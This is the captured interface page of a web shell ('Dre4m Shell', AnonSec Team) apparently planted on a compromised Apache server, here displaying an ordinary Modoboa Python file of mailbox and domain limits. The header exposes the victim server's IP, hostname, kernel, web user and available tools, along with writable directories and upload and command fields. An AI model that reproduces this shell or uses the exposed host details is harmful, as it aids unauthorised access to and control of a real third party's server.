Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.149.27.153
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/3/cwd/proc/3/cwd/srv/modoboa/env/lib64/python3.5/site-packages/modoboa/limits/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/3/cwd/proc/3/cwd/srv/modoboa/env/lib64/python3.5/site-packages/modoboa/limits//constants.py
"""Modoboa limits constants."""

import collections

from django.utils.translation import ugettext_lazy as _

DEFAULT_USER_LIMITS = collections.OrderedDict((
    ("domains", {
        "content_type": "admin.domain", "label": _("Domains"),
        "help": _("Maximum number of domains this user can create"),
        "required_role": "Resellers"}),
    ("domain_aliases", {
        "content_type": "admin.domainalias", "label": _("Domain aliases"),
        "help": _("Maximum number of domain aliases this user can create"),
        "required_role": "Resellers"}),
    ("mailboxes", {
        "content_type": "admin.mailbox", "label": _("Mailboxes"),
        "help": _("Maximum number of mailboxes this user can create")}),
    ("mailbox_aliases", {
        "content_type": "admin.alias", "label": _("Mailbox aliases"),
        "help": _("Maximum number of mailbox aliases this user "
                  "can create")}),
    ("domain_admins", {
        "content_type": "core.user", "label": _("Domain admins"),
        "help": _("Maximum number of domain administrators this user "
                  "can create"),
        "required_role": "Resellers",
        "extra_filters": {"groups__name": "DomainAdmins"}}),
    ("quota", {
        "content_type": "admin.domain", "label": _("Quota"),
        "help": _("Quota shared between domains of this reseller"),
        "required_role": "Resellers",
        "type": "sum",
        "field": "quota"
    })
))


DEFAULT_DOMAIN_LIMITS = collections.OrderedDict((
    ("domain_aliases", {
        "relation": "domainalias_set", "label": _("Domain aliases"),
        "help": _("Maximum number of domain aliases allowed for this domain.")
    }),
    ("mailboxes", {
        "relation": "mailbox_set", "label": _("Mailboxes"),
        "help": _("Maximum number of mailboxes allowed for this domain.")}),
    ("mailbox_aliases", {
        "relation": "alias_set", "label": _("Mailbox aliases"),
        "help": _(
            "Maximum number of mailbox aliases allowed for this domain."),
        "extra_filters": {"internal": False}
    }),
    ("domain_admins", {
        "relation": "admins", "label": _("Domain admins"),
        "help": _("Maximum number of domain admins allowed for this domain."),
    })
))

Anon7 - 2022
AnonSec Team